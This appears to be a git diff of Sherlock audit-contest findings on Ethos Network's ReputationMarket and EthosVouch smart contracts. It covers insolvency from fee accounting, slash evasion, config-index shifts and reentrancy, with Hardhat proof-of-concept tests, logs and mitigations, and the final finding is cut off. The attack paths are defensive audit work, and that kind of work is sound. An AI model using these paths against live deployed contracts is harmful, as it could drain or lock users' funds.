tracking including fees", async () => { + // Add a describe block at start to print what we're testing + console.log("\n=== Testing Incorrect Funds Tracking ==="); + + // Log initial state + const initialFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log(`Initial market funds: ${ethers.formatEther(initialFunds)} ETH`); + + // Set protocol fee address first + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(deployer.ADMIN.address); + console.log("✓ Protocol fee address set"); + + // Set fees + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(300); + console.log("✓ Entry protocol fee set to 3%"); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(200); + console.log("✓ Donation fee set to 2%"); + + const buyAmount = ethers.parseEther("1"); + await userA.buyVotes({ buyAmount }); + console.log(`✓ Bought votes with ${ethers.formatEther(buyAmount)} ETH`); + + // Log tracked funds after purchase + const trackedFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log(`Current market funds: ${ethers.formatEther(trackedFunds)} ETH`); + + // Graduate and attempt withdrawal + await reputationMarket.connect(graduator).graduateMarket(DEFAULT.profileId); + console.log("✓ Market graduated"); + + console.log("Attempting withdrawal (should fail)..."); + await expect( + reputationMarket.connect(graduator).withdrawGraduatedMarketFunds(DEFAULT.profileId) + ).to.be.reverted; +}); +``` + + + +### Mitigation + +Track only actual market funds by subtracting fees: +```solidity +function buyVotes(...) { + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + ... + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + applyFees(protocolFee, donation, profileId); + + // Track only actual funds (excluding distributed fees) + marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` \ No newline at end of file diff --git a/411.md b/411.md new file mode 100644 index 0000000..bcb64bf --- /dev/null +++ b/411.md @@ -0,0 +1,79 @@ +Sleepy Eggshell Crane + +Medium + +# Reorg vulnerability could lead users to create a market with unintended config in ReputationMarket.sol::createMarketWithConfig + +### Summary + +In some cases reorgs on the chain could direct users to create market with unintended config resulting in potential loss of funds and unexpected costs / configurations. + +### Root Cause + +This is due to marketConfig to create a market is identified only by an integer index making it vulnerable in a reorg scenario. +If a reorg alters the sequence of transactions, the chosed marketConfig index pointing in ReputationMarket.sol::marketConfigs while a user calls ReputationMarket.sol::createMarketWithConfig could end up pointing to a different marketConfig when the call is processed so market will be created with a different configuration. + +In ReputationMarket.sol:L281 (https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L281) createMarketWithConfig takes the marketConfig index to be used by configuration. + +However, if ReputationMarket.sol::marketConfigs changes between user call createMarketWithConfig and call execution then market could be created with an unexpected config + + +### Internal pre-conditions + +Suppose A,B two marketConfigs and user U who wants to create a market M +1. User create a new market with config A so it calls createMarketWithConfig(marketConfigs.indexOf(A)) +2. Admin wants to remove A config, so calls removeMarketConfig(marketConfigs.indexOf(A)), now previous last marketConfig in array has the index of A +3. Reorg happens so, A configuration is removed first, and market is created with unintended marketConfig + + +### External pre-conditions + +Not applicable + +### Attack Path + +A numbered list of steps, talking through the attack path: +1. User creates a new market with config A so it calls createMarketWithConfig(marketConfigs.indexOf(A)) +2. Admin wants to remove A config, so calls removeMarketConfig(marketConfigs.indexOf(A)), now previous last marketConfig in array has the index of A +3. Reorg happens so, A configuration is removed first, and market is created with unintended marketConfig + + +### Impact + +User creates a market config with unintended configuration, leading to unexpected results + +### PoC + +NA + +### Mitigation + +Include a market non sequential config string id (strId) in marketConfig struct, and require that both marketConfigIndex and StrIndex match before creating the market: +```solidity + struct MarketConfig { + uint256 initialLiquidity; + uint256 initialVotes; + uint256 basePrice; +@> string strId; + } + //... + function createMarketWithConfig( + uint256 marketConfigIndex, +@> string marketConfigStrId ){ + //... +@> _createMarket(senderProfileId, msg.sender, marketConfigIndex,marketConfigStrId) + } + + //... + function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex, +@> string marketConfigStrId + ) private nonReentrant { + //... + require(marketConfigStrId == marketConfigs[marketConfigIndex].strId, "marketConfig Id missmatch"); + //... + } + +- ``` \ No newline at end of file diff --git a/412.md b/412.md new file mode 100644 index 0000000..f9543ed --- /dev/null +++ b/412.md @@ -0,0 +1,132 @@ +Modern Mulberry Seal + +High + +# Reputation market will be insolvent, due to incorrect increase of market funds when buying. + +### Summary + +The fees are included in the value added to `marketFunds[profileId]`, even though they are sent out to the fee recipient address and are no longer part of the `ReputationMarket`'s balance. This will leave the `ReputationMarket` insolvent, when [withdrawGraduatedMarketFunds](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660) is called, as the value of `marketFunds[profileId]` will be greater than the current balance. + +### Root Cause + +In [buyVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481), the funds added, also include the fees, even though they* are no longer part of the `ReputationMarket`'s balance. + +*Unless a user has claimed his donation rewards, only the protocol fee will not be part of the `ReputationMarket`'s balance. +### Internal pre-conditions + +1. The admin needs to set the entry fee. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Users buy votes +2. Authorized graduation withdrawal address calls [graduateMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L643) +3. Authorized graduation withdrawal address calls [withdrawGraduatedMarketFunds](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660) + +### Impact + +The protocol will not be able to send graduated market's funds to authorized graduation withdrawal address, resulting in insolvency. + +### PoC + +Add this test in `test/reputationMarket/rep.fees.test.ts` + +```javascript + describe('PoC', () => { + it('should be insolvant on buy', async () => { + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(entryFee); + + const initialMarketBalance = await reputationMarket.marketFunds(DEFAULT.profileId); + + const balanceBeforeBuy = await ethers.provider.getBalance(reputationMarket.target); + const protocolFeeBalanceBefore = await ethers.provider.getBalance(protocolFeeAddress); + + await userA.buyVotes(); + + const protocolFeeBalanceAfter = await ethers.provider.getBalance(protocolFeeAddress); + const fee = protocolFeeBalanceAfter - protocolFeeBalanceBefore; + + + const balanceAfterBuy = await ethers.provider.getBalance(reputationMarket.target); + + // Contract balance is equal to the initial balance + the bought votes withouth the fees. + const contractBalance = balanceAfterBuy - balanceBeforeBuy + initialMarketBalance; + + // This is how much is expected to be present in the contract + const marketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + + console.log('Current contract balance: ', contractBalance); + console.log('Current market funds: ', marketFunds); + console.log('Difference: ', contractBalance - marketFunds); + console.log('Fees collected: ', fee); + }) +``` +```logs + PoC +Current contract balance: 25000000000000000n +Current market funds: 25200000000000000n +Difference: -200000000000000n +Fees collected: 200000000000000n +``` + +### Mitigation + +```diff + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += (fundsPaid - protocolFee - donation); + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/413.md b/413.md new file mode 100644 index 0000000..59b6200 --- /dev/null +++ b/413.md @@ -0,0 +1,41 @@ +Oblong Marmalade Aphid + +Medium + +# MAX_TOTAL_FEES is set too large and does not meet design expectations, which may result in the user paying more handling fees + +### Summary + +MAX_TOTAL_FEES is set too large and does not meet design expectations, which may result in the user paying more handling fees. The [document](https://audits.sherlock.xyz/contests/675) says that the maximum fee cannot exceed 10%, which is MAX_TOTAL_FEES/BASIS_POINT_SCALE==10%. And in the code MAX_TOTAL_FEES/BASIS_POINT_SCALE==100%. + +### Root Cause + +In [EthosVouch.sol#L120-L121](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120-L121), the wrong invariant makes the maximum handling fee higher than expected. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Incorrect configuration may make the user pay more processing fees. + +### PoC + +_No response_ + +### Mitigation + +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; + uint256 public constant BASIS_POINT_SCALE = 10000; +``` \ No newline at end of file diff --git a/414.md b/414.md new file mode 100644 index 0000000..90257af --- /dev/null +++ b/414.md @@ -0,0 +1,201 @@ +Noisy Coal Cod + +High + +# Incorrect exclusion of Fees in Market Funds Calculation in `ReputationMarket::sellVotes()` + +### Summary + +The exitFee is incorrectly excluded in [ReputationMarket::sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) when finished calculating the votes to sell in `ReputationMarket::_calculateSell()`. + +when `ReputationMarket::_calculateSell()` is called in `ReputationMarket::sellVotes()` to calculate the votes to sell and return the selling parameters, it takes the amount of votes(whether trust or distrust) to sell in a market. +After selling the votes, it preview fees for the returns gotten from selling the votes, the fee applied here is the `exitFee` +```solidity +(fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); +``` +`previewFees(fundsReceived, false);`previewFees minus the fee percentage from `fundsReceived`(returns from selling the votes) and overwrite it to return `fundsReceived = fundsReceived - fees` +Then in `ReputationMarket::sellVotes()` +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + // calculate the amount of votes to sell and the funds received + (uint256 votesSold, uint256 fundsReceived, ,uint256 protocolFee, uint256 minVotePrice, uint256 maxVotePrice) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + // incorrectly + marketFunds[profileId] -= fundsReceived; + ... + } +``` +`marketFunds[profileId]` is incorrectly set to fundsReceived which is `total returns - exitFee` +Which is incorrect cause exitFee was paid based on the user total returns and should be removed from the marketFunds + + + +### Root Cause + +in `ReputationMarkets::_calculateSell()` +```solidity + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } + @>> (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; +``` +previewFees returned the fundsReceived = fundsReceived - protocolFee (assume fundsReceived before fees = 100eth, protocolFee = 2eth => 100 - 2 = 98eth after fees) + +in `ReputationMarkets::sellVotes()` +```solidity +marketFunds[profileId] -= fundsReceived; +``` +what ends up being subtracted from the marketFunds is 98eth meaning there will still be 2eth left in the marketFunds which the contract(protocol) doesnt have sufficient funds to cover. + +### Internal pre-conditions + +1. Protocol fees and donation fees are set + +### External pre-conditions + +None + +### Attack Path + +1. UserA call to sell all trust votes, the amount to receive is 100eth but 2eth get subtracted for fees (200 in BP) leaving what is received to be 98eth, 98eth is removed from the market funds leaving what is left in the market funds to be 2eth, with no current holder of votes and an initialLiquidity balance in contract. + +### Impact + +Contract can face insolvency cause it doesnt account for fees, This can break the invariant `The vouch and vault contracts must never revert a transaction due to running out of funds.`, Even when there are no holders of votes (Market is in default state) market funds appear larger than what the balance is in the contract. + +### PoC + +add this to `rep.market.test.ts` and run the test +```solidity +it('should remove fees from fundsReceived and revert on withdrawal of over-allocated marketFunds', async () => { + //setup contract + const entryFee = 200; + const exitFee = 300; + const donationFee = 100; + const protocolFeeAddress = ethers.Wallet.createRandom().address; + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(protocolFeeAddress); + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(entryFee); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(donationFee); + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(exitFee); + // + const initialMarketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log( + 'Market Funds Before Buy Votes', + initialMarketFunds, + ethers.formatEther(initialMarketFunds) + 'eth', + ); + + const balanceBeforeBuyVotes = await ethers.provider.getBalance( + await reputationMarket.getAddress(), + ); + console.log( + 'Reputation Market Balance Before Buy Votes', + balanceBeforeBuyVotes, + ethers.formatEther(balanceBeforeBuyVotes) + 'eth', + ); + //buy votes that would later be sold so the protocol can get fees + const { trustVotes: buyvotes, fundsPaid: buyfundspaid } = await userA.buyVotes({ + profileId: DEFAULT.profileId, + buyAmount: ethers.parseEther('100'), + }); + //withdraw donations as market owner when votes are purchased + await reputationMarket.connect(userA.signer).withdrawDonations(); + console.log('Bought Trust Votes', buyvotes); + console.log('Funds Paid By userA ', buyfundspaid, ethers.formatEther(buyfundspaid!) + 'eth'); + const MarketFundsAfterBuy = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log( + 'Market Funds After Buy Votes', + MarketFundsAfterBuy, + ethers.formatEther(MarketFundsAfterBuy) + 'eth', + ); + //balance of contract after userA purchased votes + const balanceAfterBuyVotes = await ethers.provider.getBalance( + await reputationMarket.getAddress(), + ); + console.log( + 'Reputation Market Balance After Buy Votes', + balanceAfterBuyVotes, + ethers.formatEther(balanceAfterBuyVotes) + 'eth', + ); + //userA sold all votes, taking all their funds from the contract but leavinf fees in marketFunds + const { fundsReceived: sellFundsRecieved } = await userA.sellVotes({ + profileId: DEFAULT.profileId, + sellVotes: buyvotes, + }); + //The funds recieved is less due to fees + console.log( + 'Sell Funds Gotten From Selling All Votes ', + sellFundsRecieved, + ethers.formatEther(sellFundsRecieved!) + 'eth', + ); + //balance of contract after userA sold all votes + const ReputationMarketbalanceAfterSellVotes = await ethers.provider.getBalance( + await reputationMarket.getAddress(), + ); + //we can see the initital liquidty in the contract + console.log( + 'Reputation Market Balance After Sell Votes', + ReputationMarketbalanceAfterSellVotes, + ethers.formatEther(ReputationMarketbalanceAfterSellVotes) + 'eth', + ); + //marketFunds of the profileId when there are no votes sold or bought (should be close to default state) + const finalMarketFundsAfterSell = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log( + 'Market Funds After Sell Votes', + finalMarketFundsAfterSell, + ethers.formatEther(finalMarketFundsAfterSell) + 'eth', + ); + + await deployer.contractAddressManager.contract + .connect(deployer.OWNER) + .updateContractAddressesForNames([deployer.ADMIN.address], ['GRADUATION_WITHDRAWAL']); + const graduator = deployer.ADMIN; + await reputationMarket.connect(graduator).graduateMarket(DEFAULT.profileId); + + expect(ReputationMarketbalanceAfterSellVotes).to.be.lessThan(finalMarketFundsAfterSell); + // Cannot process sending market funds to graduator cause the contract doesnt have sufficient funds + await expect( + reputationMarket.connect(graduator).withdrawGraduatedMarketFunds(DEFAULT.profileId), + ).to.be.revertedWith('ETH transfer failed'); + }); + +``` +logs +```js +Market Funds Before Buy Votes 20000000000000000n 0.02eth +Reputation Market Balance Before Buy Votes 20000000000000000n 0.02eth +Bought Trust Votes 9708n +Funds Paid By userA 99992419242680023236n 99.992419242680023236eth +Market Funds After Buy Votes 100012419242680023236n 100.012419242680023236eth +Reputation Market Balance After Buy Votes 97012419242680023236n 97.012419242680023236eth +Sell Funds Gotten From Selling All Votes 94082646665399622539n 94.082646665399622539eth +Reputation Market Balance After Sell Votes 20000000000000000n 0.02eth +Market Funds After Sell Votes 5929772577280400697n 5.929772577280400697eth +``` + +### Mitigation + +before `marketFunds[profileId] -= fundsReceived;` add protocol fees to `fundsReceived` so it would be subtracted too \ No newline at end of file diff --git a/415.md b/415.md new file mode 100644 index 0000000..d8f06fe --- /dev/null +++ b/415.md @@ -0,0 +1,100 @@ +Cheery Mustard Swallow + +High + +# Malicious users can completely evade the slashing in `EthosVouch::slash` by unvouching before `slash` is called, due to the missing 24h lockdown period implementation, resulting in lost slashing fees for Ethos + +### Summary + +The `EthosVouch` system lacks the critical 24hours lockdown implementation during the accusations period that's explicitly specified in the whitepaper documentation. This allows users anticipating slashing actions to preemptively completely withdraw their funds through unvouching, completely evading the protocol's punishment mechanism and denying the pledged whistleblower their deserved reward, even if the frontend blocks certain operations like unvouching as the 24 hour period begins, with the current unvouch implementation the user can still interact with unvouch directly at the smart contract level and withdraw all vouched eth. + +### Root Cause + +The vulnerability exists due to a significant discrepancy between the whitepaper specification that can be found [here](https://whitepaper.ethos.network/ethos-mechanisms/slash) and the smart contract implementation regarding the accusation and slashing process. +The whitepaper states: + +"_This accusation triggers a 24h lock on staking (and withdrawals) for the accused_" + +However, the current implementation of the unvouch function has no such restriction in [EthosVouch.sol:452](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L481) + +### Internal pre-conditions + +- Missing 24 hour lockdown on potential 10% in slashing fees implementation in `invouch` +- Whistleblower lays a complaint against the profile or multiple profiles leave negative reviews with proof. +- Potentially a front-end 24 hour usage limitation is imposed. + +### External pre-conditions + +_No response_ + +### Attack Path + +SETUP +User has 10 ETH in active vouches across multiple Profiles + +ATTACK +1. User commits unethical behavior +2. Multiple users leave bad reviews with proof +3. User sees these reviews and anticipates slash +4. User calls the unvouch function on all their active vouches + +5. When slash comes, no funds are available +// Will slash 0 ETH because all vouches are archived + +### Impact + +This vulnerability fundamentally breaks the protocol's punishment mechanism: + +- Complete evasion of the 10% slashing penalty through preemptive unvouching +- Direct financial loss to protocol (slashing fees) and whistleblowers (rewards) +- Systemic risk as malicious actors can operate without fear of effective punishment +- Undermines the entire trust system by making bad actors effectively unpunishable + +### PoC + +Initial State: +- Malicious user has 10 ETH staked across profiles +- Profile IDs: [1, 2, 3] +- Vouch IDs: [100, 101, 102] + +Attack Flow: +1. User sees negative reviews on their profile +2. User calls `unvouch` +3. Repeat for all active vouches +4. When `slash` is called, it affects 0 ETH + +Result: +- Expected slash amount: 1 ETH (10% of 10 ETH) +- Actual slash amount: 0 ETH +- Protocol Loss: 1 ETH +- Whistleblower Loss: Expected reward from slash + +### Mitigation + +Implement the 24-hour lockdown period as specified in the whitepaper within the unvouch function + +```solidity +mapping(uint256 => uint256) public profileLockdownUntil; // profileId => timestamp + +modifier notInLockdown(uint256 profileId) { + require(block.timestamp >= profileLockdownUntil[profileId], "Profile in lockdown"); + _; +} + +function initiateAccusation(uint256 profileId) external { + profileLockdownUntil[profileId] = block.timestamp + 24 hours; + emit AccusationInitiated(profileId); +} + +function unvouch(uint256 vouchId) public + whenNotPaused + nonReentrant + notInLockdown(vouches[vouchId].authorProfileId) // Add lockdown check +{ + // ... existing unvouch logic +} +``` + +- Alternatively consider implementing a partial lockdown that reserves 10% of all vouched amounts for 24 hours. This allows users to withdraw 90% of their stake if they wish to withdraw while securing the potential slash amount until the accusation period ends. +- Consider implementing a grace period during which unvouching is disabled after receiving multiple negative reviews or reports. +- Add an accusation status tracking mechanism to ensure the 24-hour lockdown is properly enforced. \ No newline at end of file diff --git a/416.md b/416.md new file mode 100644 index 0000000..90daeaf --- /dev/null +++ b/416.md @@ -0,0 +1,37 @@ +Oblong Marmalade Aphid + +Medium + +# Incorrect checks make it possible for the vouch funds to be less than the configuredMinimumVouchAmount. + +### Summary + +A wrong check makes it possible for the guaranteed amount to be less than the configuredMinimumVouchAmount. Because after checking msg.value >= configuredMinimumVouchAmount, the protocol also charged a handling fee. The final amount of the voucher may be less than the configured minimum voucher amount. + +### Root Cause + +In [EthosVouch.sol#L380-L382](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L380-L382), the check is done before the fee and the vouch amount after the fee is collected may be less than the minimum. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The user's vouch amount may be less than the minimum amount. + +### PoC + +_No response_ + +### Mitigation + +It is recommended to check the minimum vouch amount after calculating the handling fee. \ No newline at end of file diff --git a/417.md b/417.md new file mode 100644 index 0000000..4f3292c --- /dev/null +++ b/417.md @@ -0,0 +1,118 @@ +Modern Mulberry Seal + +High + +# ReputationMarket will be insolvent, due to unaccounted fees when selling votes + +### Summary + +When users sell votes, the protocol deducts a fee from their received funds, but fails to subtract this fee from `marketFunds[profileId]`. Since these fees are sent to the protocol fee recipient and removed from the `ReputationMarket`'s balance, this will cause insolvency when [withdrawGraduatedMarketFunds()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660) is called, as `marketFunds[profileId]` will exceed the contract's actual balance. + +### Root Cause + +In [sellVotes](), when deducting from `marketFunds[profileId]`, both the `fundsReceived` (net amount) and fees must be included, since the total amount from selling votes is split between the user's net funds and protocol fees. + +### Internal pre-conditions + +1. Admin needs to set the exit fee + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Users buy votes +2. Users sell votes +3. Authorized graduation withdrawal address calls [graduateMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L643) +4. Authorized graduation withdrawal address calls [withdrawGraduatedMarketFunds](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660) + +### Impact + +The protocol will become insolvent as it will be unable to transfer the graduated market's funds to the designated withdrawal address. + +### PoC + +Add this test in test/reputationMarket/rep.fees.test.ts + +```javascript +describe('PoC', () => { + + it('should be insolvant on sell', async () => { + // Set only the exit fee + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(exitFee); + + const initialMarketBalance = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log('----------------------- Buy Votes-----------------------'); + await userA.buyVotes(); + let contractBalance = await ethers.provider.getBalance(reputationMarket.target); + let marketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + + console.log("Current contract balance after buy: ", contractBalance); + console.log("Current market funds after buy: ", marketFunds); + + + console.log('----------------------- Sell Votes-----------------------'); + const protocolFeeBalanceBefore = await ethers.provider.getBalance(protocolFeeAddress); + + const { fundsReceived } = await userA.sellVotes({ sellVotes: 1n }); + + const protocolFeeBalanceAfter = await ethers.provider.getBalance(protocolFeeAddress); + const fee = protocolFeeBalanceAfter - protocolFeeBalanceBefore; + + contractBalance = await ethers.provider.getBalance(reputationMarket.target); + marketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log('Current contract balance after sell: ', contractBalance); + console.log('Current market funds after sell: ', marketFunds); + console.log('Difference: ', contractBalance - marketFunds); + console.log('Exit fee collected: ', fee); + }); + + }); +``` + +```logs + PoC +----------------------- Buy Votes----------------------- +Current contract balance after buy: 25000000000000000n +Current market funds after buy: 25000000000000000n +----------------------- Sell Votes----------------------- +Current contract balance after sell: 20000000000000000n +Current market funds after sell: 20150000000000000n +Difference: -150000000000000n +Exit fee collected: 150000000000000n +``` + +### Mitigation + +```diff + function sellVotes(uint256 profileId, bool isPositive, uint256 amount) + public + whenNotPaused + activeMarket(profileId) + nonReentrant + { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + (uint256 votesSold, uint256 fundsReceived,, uint256 protocolFee, uint256 minVotePrice, uint256 maxVotePrice) = + _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= (fundsReceived + protocolFee); + emit VotesSold( + profileId, msg.sender, isPositive, votesSold, fundsReceived, block.timestamp, minVotePrice, maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/418.md b/418.md new file mode 100644 index 0000000..a95206a --- /dev/null +++ b/418.md @@ -0,0 +1,40 @@ +Festive Denim Puppy + +Medium + +# Admin remove marketConfig may cause users to create markets with incorrect configurations + +### Summary + +The `removeMarketConfig` function of ReputationMarket will cause the market configuration index to shift, then users creating markets may cause incorrect configuration access. + +### Root Cause + +- In [ReputationMarket.sol:405](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L405) When removing a configuration, the current configuration and the last configuration are swapped, and the current configuration index points to the last configuration. + +### Internal pre-conditions + +1. Admin needs to remove the configuration that is not the last index. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The user was about to create a market with configuration x and the admin removes configuration x at this time. +2. The user unknowingly created a market with the index of configuration x. + +### Impact + +Configurations specify the volatility and stability of reputation markets, and once a user market is created, the configuration cannot be changed: +- If a market is accidentally created with a primary configuration, low initial votes may result in large price fluctuations, which may cause early investors to lose funds and further reduce the user's reputation +- If a market is accidentally created with an advanced configuration, the initial liquidity requirements are higher, resulting in more user funds being locked than expected + +### PoC + +_No response_ + +### Mitigation + +Specify configuration using id instead of index \ No newline at end of file diff --git a/419.md b/419.md new file mode 100644 index 0000000..5fea519 --- /dev/null +++ b/419.md @@ -0,0 +1,38 @@ +Oblong Marmalade Aphid + +Medium + +# If protocolFeeAddress refuses to receive ETH, protocol users will be unable to exit. + +### Summary + +In ReputationMarket and EthosVouch contracts, many functions rely on protocolFeeAddress to receive ETH normally. For example sellVotes and unvouch. If protocolFeeAddress maliciously refuses to accept ETH, users will be unable to unvouch or sell votes. Similarly, the purchase of votes and guarantee functions are also unavailable. +Since protocolFeeAddress is not a trusted address, this possibility exists. + +### Root Cause + +In [EthosVouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L883-L886) and [ReputationMarket.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1123), almost all major functions rely on protocolFeeAddress to receive ETH properly. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. The protocolFeeAddress refuses to receive ETH. + +### Attack Path + +_No response_ + +### Impact + +Users will be unable to unvouch or sell votes. The protocol function cannot be used normally + +### PoC + +_No response_ + +### Mitigation + +Use a fixed open source protocolFeeAddress to ensure that it can receive ETH normally. \ No newline at end of file diff --git a/420.md b/420.md new file mode 100644 index 0000000..e4cdb3e --- /dev/null +++ b/420.md @@ -0,0 +1,47 @@ +Loud Laurel Poodle + +Medium + +# Max Total Fee is set higher than expected + +### Summary + +The max total fee in `EthoVouch.sol` is larger than 10% of the deposit which violate the invariant + +### Root Cause + +In `EthoVouch.sol::120`, `MAX_TOTAL_FEES` is set to 10000 while the `BASIS_POINT_SCALE` is also 10000 which means the total fee can be up to 100% of the deposit. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +The admin can set the total fee to higher than 10% without noticing that as the `checkFeeExceedsMaximum` function is not going to revert even if that happened. It results in extra funds being charged to the voucher. + +### PoC + +None + +### Mitigation + +```diff + // --- Constants --- + uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; + uint256 public constant BASIS_POINT_SCALE = 10000; + uint256 public constant MAX_SLASH_PERCENTAGE = 1000; + +``` \ No newline at end of file diff --git a/421.md b/421.md new file mode 100644 index 0000000..7e57c62 --- /dev/null +++ b/421.md @@ -0,0 +1,67 @@ +Clever Hazelnut Frog + +Medium + +# Reentrancy in withdrawGraduatedMarketFunds - authorizedAddress/ADMIN only + +### Summary + +In `withdrawGraduatedMarketFunds` it's possible to trigger reentrancy at [`_sendEth`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675), if the ADMIN keys are stolen it could drain the contract + +### Root Cause + +In 